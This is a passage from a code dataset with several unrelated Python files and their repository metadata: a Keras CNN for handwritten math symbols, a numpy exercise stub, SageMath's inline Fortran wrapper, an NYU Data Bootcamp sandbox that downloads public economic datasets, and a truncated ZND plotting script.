the data into training and test\n# \n# 80% -> train\n# \n# 20% -> test\n\nimport random\nrandom.shuffle(imgs)\nsplit_idx = int(0.8*len(imgs))\ntrain = imgs[:split_idx]\ntest = imgs[split_idx:]\n\n#Later take 20% from train for validation\n\nimport numpy as np\n\ntrain_input = np.asarray(list(map(lambda row: row[2], train)))\ntest_input = np.asarray(list(map(lambda row: row[2], test)))\n\ntrain_output = np.asarray(list(map(lambda row: row[1], train)))\ntest_output = np.asarray(list(map(lambda row: row[1], test)))\n\n\n# learn about oneHotEncoder\n# https://scikit-learn.org/stable/modules/generated/sklearn.preprocessing.OneHotEncoder.html\n#our labels are in the text format therefore using oneHotEncoder to convert them\n    \nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\n\nlabel_encoder = LabelEncoder()\ninteger_encoded = label_encoder.fit_transform(classes)\n\nonehot_encoder = OneHotEncoder(sparse = False)\ninteger_encoded = integer_encoded.reshape(len(integer_encoded), 1)\nonehot_encoder.fit(integer_encoded)\n\ntrain_output_int = label_encoder.transform(train_output)\ntrain_output = onehot_encoder.transform(train_output_int.reshape(len(train_output_int), 1))\ntest_output_int = label_encoder.transform(test_output)\ntest_ouput = onehot_encoder.transform(test_output_int.reshape(len(test_output_int), 1))\n\nnum_classes = len(label_encoder.classes_)\n\nprint(\"Number of classes\", num_classes)\nprint(\"Shape of the input image: \", np.shape(train_input[0]))\n\n\n# ## Model\n\n#importing libraries\n\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.optimizers import RMSprop, Adam\nfrom tensorflow.keras.layers import (\n    Dense,\n    Dropout,\n    Flatten,\n    Conv2D,\n    MaxPooling2D\n)\n\n\n# This is very basic CNN architecture with some convolution layer followed by max pooling layer\n# which is then followed by flatten and some dense layer.\n\n#model architecture\n\nmodel = Sequential([\n    Conv2D(32, (3,3), activation='relu', input_shape = np.shape(train_input[0])),\n    MaxPooling2D(pool_size = (2,2)),\n    Conv2D(32, (3,3), activation='relu'),\n    MaxPooling2D(pool_size = (2,2)),\n    Flatten(),\n    Dense(1024, activation = 'tanh'),\n    Dropout(0.5),  #to reduce overfitting\n    Dense(num_classes, activation='softmax')\n])\n\n#compile model\nlearning_rate = 1e-5 #1e-2 (0.01)\n\nmodel.compile(\n            optimizer = 'adam', #Adam(lr = learning_rate)\n            loss = 'categorical_crossentropy', \n            metrics = ['accuracy'])\n\n\nmodel.summary()\n\n\n# Training\nBATCH_SIZE = 32\nEPOCHS = 15 #10\nVALIDATION_SPLIT = 0.2\n\nhistory = model.fit(train_input, train_output,\n                   batch_size = BATCH_SIZE,\n                   epochs = EPOCHS,\n                   verbose = 1,\n                   validation_split = VALIDATION_SPLIT)\n\n#Accuracy I achieved was nearly 82% after 10th epoch (Val_accuracy -> 77%) \n#tuning hyparameters and changing model architecture will help you gain much more accuracy and reduce overfitting\n\n\n# Plotting the graphs: \n#     1. Training and validation accuracy\n#     2. Training and validation loss\n\nimport matplotlib.pyplot as plt\n\nacc = history.history['accuracy']\nval_acc = history.history['val_accuracy']\nloss = history.history['loss']\nval_loss = history.history['val_loss']\n\nepochs = range(len(acc))\n\nfig = plt.subplots(figsize=(30, 10))\n\nplt.subplot(1, 2, 1)\nplt.plot(acc)\nplt.plot(val_acc)\nplt.title('Training and Validation Accuracy')\nplt.xlabel('Epoch')\nplt.ylabel('Accuracy')\nplt.legend(['Training Accuracy', 'Validation Accuracy'])\n\nplt.subplot(1, 2, 2)\nplt.plot(loss)\nplt.plot(val_loss)\nplt.title('Training and Validation Loss')\nplt.xlabel('Epoch')\nplt.ylabel('Loss')\nplt.legend(['Training Loss', 'Validation Loss'])\n\nplt.show()\n\n\n# ## Saving model\nmodel.save('mathSymbolsPredictor.model')\nnp.save('classes.npy', label_encoder.classes_)\n\n\n# ## New predictions\n\nimport keras.models\n#model_ = keras.models.load('mathSymbolsPredictor.model')\n\nlabel_encoder2 = LabelEncoder()\nlabel_encoder2.classes_ = np.load('classes.npy')\n\nPATH = 'hasy-data/v2-00100.png'\n\nimage = keras.preprocessing.image.img_to_array(pil_image.open(PATH))\nimage /= 255.\npredicted = (model.predict(image.reshape(1, 32, 32, 3)))\ninverted = label_encoder2.inverse_transform([np.argmax(predicted)])\nprint(inverted[0], np.max(predicted))\n(Image(url=PATH))\n\n# # Convert your model into .tflite \n# ## To deploy it on an application\n\nRPS_SAVED_MODEL = \"rps_saved_model\"\ntf.saved_model.save(model, RPS_SAVED_MODEL)\n\nget_ipython().run_cell_magic('bash', '-s $RPS_SAVED_MODEL', 'saved_model_cli show --dir $1 --tag_set serve --signature_def serving_default')\n\nloaded = tf.saved_model.load(RPS_SAVED_MODEL)\nprint(list(loaded.signatures.keys()))\ninfer = loaded.signatures[\"serving_default\"]\nprint(infer.structured_input_signature)\nprint(infer.structured_outputs)\nconverter = tf.lite.TFLiteConverter.from_saved_model(RPS_SAVED_MODEL)\nconverter.optimizations = [tf.lite.Optimize.OPTIMIZE_FOR_SIZE]\ntflite_model = converter.convert()\n\nimport tensorflow as tf\ntflite_model_file = 'handwritten_mathematical_symbol_model_v1.tflite'\n\n\n\n\n\n\n\n", "meta": {"hexsha": "ac10ba251aa4e8b494b28f11429bf853895bb380", "size": 6270, "ext": "py", "lang": "Python", "max_stars_repo_path": "handwritten_mathematical_model.py", "max_stars_repo_name": "Yoshibansal/handwritten-mathematical-symbols", "max_stars_repo_head_hexsha": "a305581c1f4a76ca5d4842b8428f673ba8782019", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-09-28T17:55:54.000Z", "max_stars_repo_stars_event_max_datetime": "2020-09-28T17:55:54.000Z", "max_issues_repo_path": "handwritten_mathematical_model.py", "max_issues_repo_name": "Yoshibansal/handwritten-mathematical-symbols", "max_issues_repo_head_hexsha": "a305581c1f4a76ca5d4842b8428f673ba8782019", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "handwritten_mathematical_model.py", "max_forks_repo_name": "Yoshibansal/handwritten-mathematical-symbols", "max_forks_repo_head_hexsha": "a305581c1f4a76ca5d4842b8428f673ba8782019", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.3445378151, "max_line_length": 140, "alphanum_fraction": 0.719138756, "include": true, "reason": "import numpy", "num_tokens": 1549, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.11920292045759122, "lm_q1q2_score": 0.05913583329392384}}
{"text": "import numpy as np\n\n# Create 2 lists containing any the same number of elements\n# Save each as objects named a_list and b_list\n\n____\n\n____\n\n# Using boolean operators, what is outputted when you test to see if they are equal? \n\n____", "meta": {"hexsha": "6bda7a302e5c98700b13fcb1d21392d2a8275721", "size": 231, "ext": "py", "lang": "Python", "max_stars_repo_path": "exercises/en/exc_08_04a.py", "max_stars_repo_name": "Lavendulaa/programming-in-python-for-data-science", "max_stars_repo_head_hexsha": "bc41da8afacf4c180ae0ff9c6dc26a7e6292252f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-06-26T20:15:44.000Z", "max_stars_repo_stars_event_max_datetime": "2020-06-26T20:15:44.000Z", "max_issues_repo_path": "exercises/en/exc_08_04a.py", "max_issues_repo_name": "Lavendulaa/programming-in-python-for-data-science", "max_issues_repo_head_hexsha": "bc41da8afacf4c180ae0ff9c6dc26a7e6292252f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 20, "max_issues_repo_issues_event_min_datetime": "2020-06-15T23:05:20.000Z", "max_issues_repo_issues_event_max_datetime": "2020-09-01T22:07:45.000Z", "max_forks_repo_path": "exercises/en/exc_08_04a.py", "max_forks_repo_name": "UBC-MDS/MCL-programming-in-python", "max_forks_repo_head_hexsha": "22836d9013d3e3d1b1074678ba7dc3ee2e66f398", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-06-25T20:53:13.000Z", "max_forks_repo_forks_event_max_datetime": "2020-06-25T20:53:13.000Z", "avg_line_length": 19.25, "max_line_length": 85, "alphanum_fraction": 0.7705627706, "include": true, "reason": "import numpy", "num_tokens": 55, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.11920291419948609, "lm_q1q2_score": 0.0591358301893165}}
{"text": "#!/usr/bin/env python3\r\n\r\nimport numpy as np                  # numpy library (many number manipulation code)\r\nimport matplotlib.pyplot as plt     # matplotlib.pyplot used for making graphs and plots\r\n                                    \r\nimport sys                          # gives access to sys library\r\nimport os                           # gives access to operating system\r\n\r\nprint(sys.argv)                     # prints command line arguements\r\nprint(os.getcwd())                  # prints the current directory that this code is in", "meta": {"hexsha": "d91b6377ced07e69c7eb39f8977500f6d734b191", "size": 537, "ext": "py", "lang": "Python", "max_stars_repo_path": "useful_modules.py", "max_stars_repo_name": "galgodon/astr-119-session-3", "max_stars_repo_head_hexsha": "50f444fe6de564c8c3a4b937917929f267f108c3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "useful_modules.py", "max_issues_repo_name": "galgodon/astr-119-session-3", "max_issues_repo_head_hexsha": "50f444fe6de564c8c3a4b937917929f267f108c3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2018-10-04T20:10:52.000Z", "max_issues_repo_issues_event_max_datetime": "2018-10-18T01:38:43.000Z", "max_forks_repo_path": "useful_modules.py", "max_forks_repo_name": "galgodon/astr-119-session-3", "max_forks_repo_head_hexsha": "50f444fe6de564c8c3a4b937917929f267f108c3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2018-10-18T01:36:30.000Z", "max_forks_repo_forks_event_max_datetime": "2018-10-18T01:36:30.000Z", "avg_line_length": 53.7, "max_line_length": 89, "alphanum_fraction": 0.5586592179, "include": true, "reason": "import numpy", "num_tokens": 87, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.35936414516010196, "lm_q2_score": 0.16451646494473965, "lm_q1q2_score": 0.059121318789628244}}
{"text": "\"\"\"\nFortran compiler\n\"\"\"\nfrom __future__ import absolute_import\nfrom six import iteritems\n\nimport os\nimport imp\nimport shutil\nimport sys\n\nfrom sage.misc.temporary_file import tmp_dir\n\n\nclass InlineFortran:\n    def __init__(self, globals=None):\n        # globals=None means: use user globals from REPL\n        self.globs = globals\n        self.library_paths=[]\n        self.libraries=[]\n        self.verbose = False\n\n    def __repr__(self):\n        return \"Interface to Fortran compiler\"\n\n    def __call__(self, *args, **kwds):\n        return self.eval(*args, **kwds)\n\n    def eval(self, x, globals=None, locals=None):\n        \"\"\"\n        Compile fortran code ``x`` and adds the functions in it to\n        ``globals``.\n\n        INPUT:\n\n        - ``x`` -- Fortran code\n\n        - ``globals`` -- a dict to which to add the functions from the\n          fortran module\n\n        - ``locals`` -- ignored\n\n        EXAMPLES::\n\n            sage: code = '''\n            ....: C FILE: FIB1.F\n            ....:       SUBROUTINE FIB(A,N)\n            ....: C\n            ....: C     CALCULATE FIRST N FIBONACCI NUMBERS\n            ....: C\n            ....:       INTEGER N\n            ....:       REAL*8 A(N)\n            ....:       DO I=1,N\n            ....:          IF (I.EQ.1) THEN\n            ....:             A(I) = 0.0D0\n            ....:          ELSEIF (I.EQ.2) THEN\n            ....:             A(I) = 1.0D0\n            ....:          ELSE\n            ....:             A(I) = A(I-1) + A(I-2)\n            ....:          ENDIF\n            ....:       ENDDO\n            ....:       END\n            ....: C END FILE FIB1.F\n            ....: '''\n            sage: fortran(code, globals())\n            sage: import numpy\n            sage: a = numpy.array(range(10), dtype=float)\n            sage: fib(a, 10)\n            sage: a\n            array([  0.,   1.,   1.,   2.,   3.,   5.,   8.,  13.,  21.,  34.])\n\n        TESTS::\n\n            sage: os.chdir(SAGE_ROOT)\n            sage: fortran.eval(\"SYNTAX ERROR !@#$\")\n            Traceback (most recent call last):\n            ...\n            RuntimeError: failed to compile Fortran code:...\n            sage: os.getcwd() == SAGE_ROOT\n            True\n        \"\"\"\n        if globals is None:\n            globals = self.globs\n            if globals is None:\n                from sage.repl.user_globals import get_globals\n                globals = get_globals()\n\n        from numpy import f2py\n\n        # Create everything in a temporary directory\n        mytmpdir = tmp_dir()\n\n        try:\n            old_cwd = os.getcwd()\n            os.chdir(mytmpdir)\n\n            name = \"fortran_module\"  # Python module name\n            # if the first line has !f90 as a comment, gfortran will\n            # treat it as Fortran 90 code\n            if x.startswith('!f90'):\n                fortran_file = name + '.f90'\n            else:\n                fortran_file = name + '.f'\n\n            s_lib_path = \"\"\n            s_lib = \"\"\n            for s in self.library_paths:\n                s_lib_path = s_lib_path + \"-L%s \"\n\n            for s in self.libraries:\n                s_lib = s_lib + \"-l%s \"%s\n\n            log = name + \".log\"\n            extra_args = '--quiet --f77exec=sage-inline-fortran --f90exec=sage-inline-fortran %s %s >\"%s\" 2>&1'%(\n                s_lib_path, s_lib, log)\n\n            f2py.compile(x, name, extra_args = extra_args, source_fn=fortran_file)\n            log_string = open(log).read()\n\n            # Note that f2py() doesn't raise an exception if it fails.\n            # In that case, the import below will fail.\n            try:\n                file, pathname, description = imp.find_module(name, [mytmpdir])\n            except ImportError:\n                raise RuntimeError(\"failed to compile Fortran code:\\n\" + log_string)\n            try:\n                m = imp.load_module(name, file, pathname, description)\n            finally:\n                file.close()\n\n            if self.verbose:\n                print(log_string)\n        finally:\n            os.chdir(old_cwd)\n\n            if sys.platform != 'cygwin':\n                # Do not delete temporary DLLs on Cygwin; this will cause\n                # future forks of this process to fail.  Instead temporary DLLs\n                # will be cleaned up upon process exit\n                try:\n                    shutil.rmtree(mytmpdir)\n                except OSError:\n                    # This can fail for example over NFS\n                    pass\n\n        for k, x in iteritems(m.__dict__):\n            if k[0] != '_':\n                globals[k] = x\n\n    def add_library(self,s):\n       self.libraries.append(s)\n\n    def add_library_path(self,s):\n       self.library_paths.append(s)\n\n# An instance\nfortran = InlineFortran()\n", "meta": {"hexsha": "faf115d009947559048a4202a76b2e15370c3c14", "size": 4741, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/misc/inline_fortran.py", "max_stars_repo_name": "rekhabiswal/sage", "max_stars_repo_head_hexsha": "e8633b09919542a65e7e990c8369fee30c7edefd", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2016-06-19T14:48:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-28T08:46:01.000Z", "max_issues_repo_path": "src/sage/misc/inline_fortran.py", "max_issues_repo_name": "rwst/sage", "max_issues_repo_head_hexsha": "a9d274b9338e6ee24bf35ea8d25875507e51e455", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/misc/inline_fortran.py", "max_forks_repo_name": "rwst/sage", "max_forks_repo_head_hexsha": "a9d274b9338e6ee24bf35ea8d25875507e51e455", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": 7, "max_forks_repo_forks_event_min_datetime": "2021-11-08T10:01:59.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-03T11:25:52.000Z", "avg_line_length": 30.0063291139, "max_line_length": 113, "alphanum_fraction": 0.4792237924, "include": true, "reason": "import numpy,from numpy,from sage", "num_tokens": 1132, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3886180125441397, "lm_q2_score": 0.15203224738527765, "lm_q1q2_score": 0.05908246982148558}}
{"text": "\"\"\"\nMiscellaneous experiments for Data Bootcamp course\n\nRepository of materials (including this file):\n* https://github.com/NYUDataBootcamp/Materials/\n* https://github.com/NYUDataBootcamp/Materials/Code/Python\n\nWritten by Dave Backus, March 2015\nCreated with Python 3.4\n\"\"\"\nprint('\\nWelcome to Data Bootcamp!')\n\nimport datetime as dt\nprint('Today is', dt.date.today())\n\n\"\"\"\nCheck Python version\n\"\"\"\nimport sys\n\nprint('\\nWhat version of Python are we running? \\n', sys.version, '\\n', sep='')\n\nif float(sys.version_info[0]) < 3.0:\n    raise Exception('Program halted, old version of Python. ' +\n                    'Sorry, you need to install Anaconda again.')\nelse:\n    print('Congratulations, Python is up to date!')\n#    sys.exit(0)      # this halts execution\n\n#%%\n\"\"\"\nAssignments and copies\nhttp://stackoverflow.com/questions/10844493/dataframe-apply-in-python-pandas-alters-both-original-and-duplicate-dataframes\n\"\"\"\n# check 1\na = [1,2,3]\nb = a\nb[0] = 'WHOA!'\nprint('\\nAfter assignment, a is', a)\n\n# to make a copy\na = [1,2,3]\nb = a.copy()\nb[0] = 'WHOA!'\nprint('\\nAfter copy, a is', a)\n\n# check 2\nimport numpy as np\nc = np.array([7, 3, 5])\nd = c\ne = 2*c - 5\nprint('\\nAfter assignment, (d, e) are', d, e)\n\nc[0] = 10\nprint(d, e)\n\n#%%\n\"\"\"\nCheck path of current working directory\nhttps://docs.python.org/2/library/os.path.html\n\"\"\"\nimport os\n\nprint('\\nCurrent path:\\n', os.getcwd(), sep='')\n\n\"\"\"\nCheck for specific file\n\"\"\"\nimport os\n\nprint('\\nList of files in working directory:')\n[print(file) for file in os.listdir()]\n\nfile = 'SQL_support_code.py'\nif not os.path.isfile(file):\n    raise Exception('***** Program halted, file missing *****')\n\n#%%\n\"\"\"\nReading fixed width files\nhttp://pandas.pydata.org/pandas-docs/version/0.17.0/generated/pandas.read_fwf.html\nInput file is\n1234567890\n2345678901\n3456789012\n\"\"\"\nimport pandas as pd\n\nfixed = pd.read_fwf('fixedformatdata.txt',\n                    colspecs=[(0,2), (3,6)],    # column n1 to n2-1, start at 0\n                    names=['x1', 'x2'],\n                    header=None)\n\nprint('\\nFixed-format file \\n', fixed)\n\n#%%\n\"\"\"\nCopying files from internet to hard drive (temp directory)\n\"\"\"\nimport urllib              # handles internet files\n\nurl1 = 'https://raw.githubusercontent.com/NYUDataBootcamp/Materials/master/'\nurl2 = 'Data/test.csv'\nurl = url1 + url2\nfname = '../' + 'Temp/' + 'goo.csv'\n\n# copy file from url to fname\nurllib.request.urlretrieve(url, fname)\n\n#%%\n\"\"\"\nExtract file from zip\nhttps://docs.python.org/2/library/zipfile.html\nhttps://pymotw.com/2/zipfile/\n\"\"\"\nimport zipfile             # handles zip files\n\nzfname = '../' + 'Temp/' + 'wp10245.zip'\n\nprint('\\nIs this a zipfile?', zipfile.is_zipfile(zfname))\n\n# create zipfile object\nzf = zipfile.ZipFile(zfname, 'r')\nprint('Contents:', zf.namelist())\n\n# extract file\ninzip = zf.namelist()[0]\ndir  = '../Temp/'\nextract = zf.extract(inzip, path=dir)\n\ndf = pd.read_excel(extract, sheetname=1, na_values=['\u2026', '\u2026.', ''], index_col=0,\n                   encoding='utf-8')\n\n#%%\n\"\"\"\nIMF's historical database on public debt\nhttps://www.imf.org/External/pubs/cat/longres.aspx?sk=24332.0\nrows are countries, columns are dates (1692-2012)\n\"\"\"\nimport pandas as pd\nimport urllib              # handles internet files\nimport zipfile             # handles zip files\nimport os\n\n# copy zip file to hard drive\nprint('\\nCopy IMF historical debt data to hard drive')\nurl = 'https://www.imf.org/external/pubs/ft/wp/2010/Data/wp10245.zip'\nzname = '../Temp/' + os.path.basename(url)   # strip out file name\nurllib.request.urlretrieve(url, zname)       # copy file from url to disk\n\n# extract spreadsheet in two steps\nzf = zipfile.ZipFile(zname, 'r')\nzf.printdir()\nxlsname = zf.namelist()[0]\nxls = zf.extract(xlsname)\n\ndf = pd.read_excel(xls, sheetname=1, na_values=['\u2026', '\u2026.', ''], index_col=0,\n                   encoding='utf-8')\n\nprint('Type: ', type(df))\nprint('Shape (dimensions): ', df.shape)\nprint('Column labels (variables): ', df.columns.tolist())\nprint('Variable types: \\n', df.dtypes, sep='')\n\ndf.tail()\n\n#%%\n# select years 1980 to 2013 and ifscode\nyears = [year for year in range(1980, 2013)]\nyears_str = [str(year) for year in years]\nvars = ['ifscode'] + years\n\nsome = df[vars]\n\n#%%\n\"\"\"\nShortcut:  save file to disk, read from there\n\"\"\"\nfile = '../Temp/' + 'Debt Database Fall 2013 Vintage.xlsx'\ndf = pd.read_excel(file, sheetname=1, na_values=['\u2026', '\u2026.', ''], index_col=0,\n                   encoding='utf-8')\n#%%\nprint('Type: ', type(df))\nprint('Shape (dimensions): ', df.shape)\nprint('Column labels (variables): ', df.columns.tolist())\nprint('Variable types: \\n', df.dtypes, sep='')\n\n# select years 1980 to 2013 and ifscode\nyears = [year for year in range(1980, 2013)]\n#years_str = [str(year) for year in years]\nvars = years\nsome = df[vars]\n\n\n#%%\n\"\"\"\nunicode\nhttp://eev.ee/blog/2015/09/12/dark-corners-of-unicode/\nhttps://docs.python.org/3.4/library/unicodedata.html\nhttps://docs.python.org/3/howto/unicode.html#unicode-properties\nhttp://stackoverflow.com/questions/508558/what-charset-does-microsoft-excel-use-when-saving-files\n\"\"\"\nimport unicodedata\n\n# this came up in the IMF debt data (cut and paste from spreadsheet)\ns = '\u2026'\nlen(s)\n\nprint('Unicode category and name: ',\n      unicodedata.category(s), ', ', unicodedata.name(s), sep='')\n\n\n#%%\n\"\"\"\nurrlib version of data input from csv\n\"\"\"\n# copy file from url to hard drive\nimport urllib.request\nfile = 'foo.csv'\nurl1 = 'https://raw.githubusercontent.com/NYUDataBootcamp/Materials/master/'\nurl2 = 'Data/test.csv'\nurl = url1 + url2\nurllib.request.urlretrieve(url, file)\n\n# Sarah's version\nf = urllib.request.urlopen(url)\nfile = 'foo_sbh.csv'\nwith open(file, 'wb') as local_file:\n    local_file.write(f.read())\n\n#%%\n\"\"\"\nWorld Bank WDI from zip file\nFile is too big, takes too long to read in class (but great stuff!)\n\"\"\"\nimport pandas as pd\nimport urllib\nimport zipfile\nimport os\n\n# this is a big file, best to test with something smaller\nurl  = 'http://databank.worldbank.org/data/download/WDI_csv.zip'\nfile = '../Temp/' + os.path.basename(url)   # strip out file name\nurllib.request.urlretrieve(url, file)        # copy to disk\n\n# see what's there\nprint(['Is zipfile?', zipfile.is_zipfile(file)])\nzf = zipfile.ZipFile(file, 'r')\n#print('List of zipfile contents (two versions)')\nzf.printdir()\n\n# extract a component\ncsv = zf.extract('WDI_Data.csv')        # copy to disk\ndf1 = pd.read_csv(csv)       # read\nprint(df1.columns)                      # check contents\n\n# alternative:  open and read\ncsv = zf.open('WDI_Data.csv')\ndf2 = pd.read_csv(csv)\nprint(df2.columns)\n\n\n#%%\n\"\"\"\nPenn World Table\nhttp://www.rug.nl/research/ggdc/data/pwt/pwt-8.1\nTakes about 10 seconds on home wireless network\n\"\"\"\nimport pandas as pd\n\nurl = 'http://www.rug.nl/research/ggdc/data/pwt/v81/pwt81.xlsx'\ndf = pd.read_excel(url, sheetname=2)\n\nprint(df.ftypes)\n\n#%%\n\"\"\"\nMaddison data\nhttp://www.ggdc.net/maddison/maddison-project/home.htm\nTakes about 10 seconds on home wireless network\n\"\"\"\nimport pandas as pd\n\nurl = 'http://www.ggdc.net/maddison/maddison-project/data/mpd_2013-01.xlsx'\ndf = pd.read_excel(url) #, skiprows=1, index_col=0)\n\nprint(df.ftypes)\n\n#%%\n\"\"\"\nEquality of Opportunity\nhttp://www.equality-of-opportunity.org/index.php/data\n\"\"\"\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\n\nurl = 'http://www.equality-of-opportunity.org/images/online_data_tables.xls'\ndf = pd.read_excel(url, sheetname=1, skiprows=8, header=0, index_col=0)\nprint(df.tail())\ndf.tail()\n#%%\n\n# fix column labels\ndf.columns = [pct for pct in range(1, 101)]\nprint('\\n', df.ftypes[0:7], sep='')\n\n# trim to eliminate extremes\ntrimmed = df.iloc[6:92, 6:92]\n\n#http://stackoverflow.com/questions/14391959/heatmap-in-matplotlib-with-pcolor\nfig, ax = plt.subplots()\nheatmap = ax.pcolor(trimmed, cmap=plt.cm.Blues)\n\n#%%\n\"\"\"\nChanging directory, using complete paths, etc\n\"\"\"\nimport pandas as pd\nimport os\n\nfile = 'test.csv'\n#path1 = 'C:\\\\Users\\\\dbackus\\\\Dropbox\\\\Documents\\\\Classes\\\\Data_Bootcamp\\\\Code\\\\Python'\npath2 = 'C:/Users/dbackus/Dropbox/Documents/Classes/Data_Bootcamp/Code/Python'\n\n# check to see if this works\nos.chdir('C:/Users')\nprint('Current working directory', os.getcwd())\n\nos.chdir(path2)\nprint('Current working directory', os.getcwd())\n\n#%%\n# check to see if file exists\nexists = os.path.isfile(path1+'/'+file)\nprint('File exists?', exists)\n\nif exists==False:\n    raise Exception('File does not exist, execution halted')\n\n#%%\ndf1 = pd.read_csv(path1+'\\\\'+file)\nprint('\\nBack slash (df1)\\n', df1)\n\ndf1 = pd.read_csv(path1+'/'+file)\nprint('\\nBack slash alternative (df1)\\n', df1)\n\ndf2 = pd.read_csv(path2+'/'+file)\nprint('\\nForward slash (df2)\\n', df2)\n\n#%%\n# extracting path and file from combination\nfullpath = path2 + '/' + file\n\nfile = os.path.basename(fullpath)\npath = os.path.dirname(fullpath)\nprint('File and path\\n', file, '\\n', path)\n\n\n#%%\n\"\"\"\nHeart attack data from data.gov\n\nhttps://data.medicare.gov/api/views/c7us-v4mf/rows.csv?accessType=DOWNLOAD\nhttps://data.medicare.gov/developers\n\"\"\"\nimport pandas as pd\nurl = 'https://data.medicare.gov/api/views/c7us-v4mf/rows.csv'\n\ndf = pd.read_csv(url)\n\n#%%\nprint(list(df))\n\n\"\"\"\nAppendices\n\"\"\"\n\n# in case the internet is down\n#df = pd.DataFrame([['Dave', 1, 2, 3.5],\n#                   ['Chase', 4, 3, 4.3],\n#                   ['Spencer', 5, 6, 7.8]],\n#                   columns=['name', 'x1', 'x2', 'x3'])\n#print('\\nurl read (df)\\n', df)\n", "meta": {"hexsha": "7fd6e2c55c5024ce01854cf5765399e6b1a9271d", "size": 9361, "ext": "py", "lang": "Python", "max_stars_repo_path": "Code/Python/bootcamp_sandbox.py", "max_stars_repo_name": "kunal-mulki/Materials", "max_stars_repo_head_hexsha": "b76bba123002972e4063b9b24cd5dc3d980e16e9", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 27, "max_stars_repo_stars_event_min_datetime": "2016-12-07T17:38:41.000Z", "max_stars_repo_stars_event_max_datetime": "2021-06-28T06:19:49.000Z", "max_issues_repo_path": "Code/Python/bootcamp_sandbox.py", "max_issues_repo_name": "kunal-mulki/Materials", "max_issues_repo_head_hexsha": "b76bba123002972e4063b9b24cd5dc3d980e16e9", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 27, "max_issues_repo_issues_event_min_datetime": "2016-05-28T21:32:24.000Z", "max_issues_repo_issues_event_max_datetime": "2016-12-08T16:47:09.000Z", "max_forks_repo_path": "Code/Python/bootcamp_sandbox.py", "max_forks_repo_name": "NYUDataBootcamp/Materials", "max_forks_repo_head_hexsha": "b76bba123002972e4063b9b24cd5dc3d980e16e9", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 50, "max_forks_repo_forks_event_min_datetime": "2016-10-12T11:04:50.000Z", "max_forks_repo_forks_event_max_datetime": "2021-06-01T23:24:45.000Z", "avg_line_length": 24.3142857143, "max_line_length": 122, "alphanum_fraction": 0.6727913684, "include": true, "reason": "import numpy", "num_tokens": 2678, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.41489884579676883, "lm_q2_score": 0.14223189682786755, "lm_q1q2_score": 0.05901184982936735}}
{"text": "import os\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom saf.euler1d.linear.asciireader import ASCIIReader\n\nfrom helpers import FIGSIZE_SIX_SUBPLOTS as figsize, savefig\n\n# ---\n# ## Helper functions\n\n# In[2]:\n\ndef znd_read_data():\n    output_dir = '_output'\n    dirs = os.listdir(output_dir)\n    dirs.sort()\n    \n    x = []\n    rho = []\n    u = []\n    p = []\n    lamda = []\n\n    for d in dirs:\n        dirname = os.path.join(output_dir, d)\n\n        r = ASCIIReader(dirname)\n\n        znd_data = r.get_znd_data()\n        x.append(znd_data['x'])\n        rho.append((d, znd_data['rho']))\n        u.append((d, znd_data['u_lab']))\n        p.append((d, znd_data['p']))\n        lamda.append((d, znd_data['lamda']))\n        \n    return x, rho, u, p, lamda\n\n\ndef _znd_plot_quantity(x, quantity, axis, k):\n    line_styles = ['-', '--', ':', '-o', '-*']\n    assert k >= 0\n    assert k < len(line_styles)\n    if k != 3 and k != 4:\n        axis.plot(x, quantity, line_styles[k])\n    else:\n        ls = line_styles[k]\n        s1 = ls[0]\n        s2 = ls[1]\n        R = 10\n        line, = axis.plot(x, quantity, s1)\n        color = line.get_color()\n        axis.plot(x[::R], quantity[::R], s2, color=color, markeredgecolor=color)\n\n\ndef znd_plot_data(x, rho, u, p, lamda):\n    # Number of rows and columns in figures\n    m, n = 3, 2\n    E_ACT = 30.0\n    X_LIM = -8\n    \n    fig, axes = plt.subplots(nrows=m, ncols=n, figsize=figsize)\n\n    assert len(x) == len(rho)\n    assert len(x) == len(u)\n    assert len(x) == len(p)\n    assert len(x) == len(lamda)\n\n    # Density\n    ax = axes[0, 0]\n    for k, __ in enumerate(rho):\n        cur_x = x[k]\n        cur_rho = rho[k][1]\n        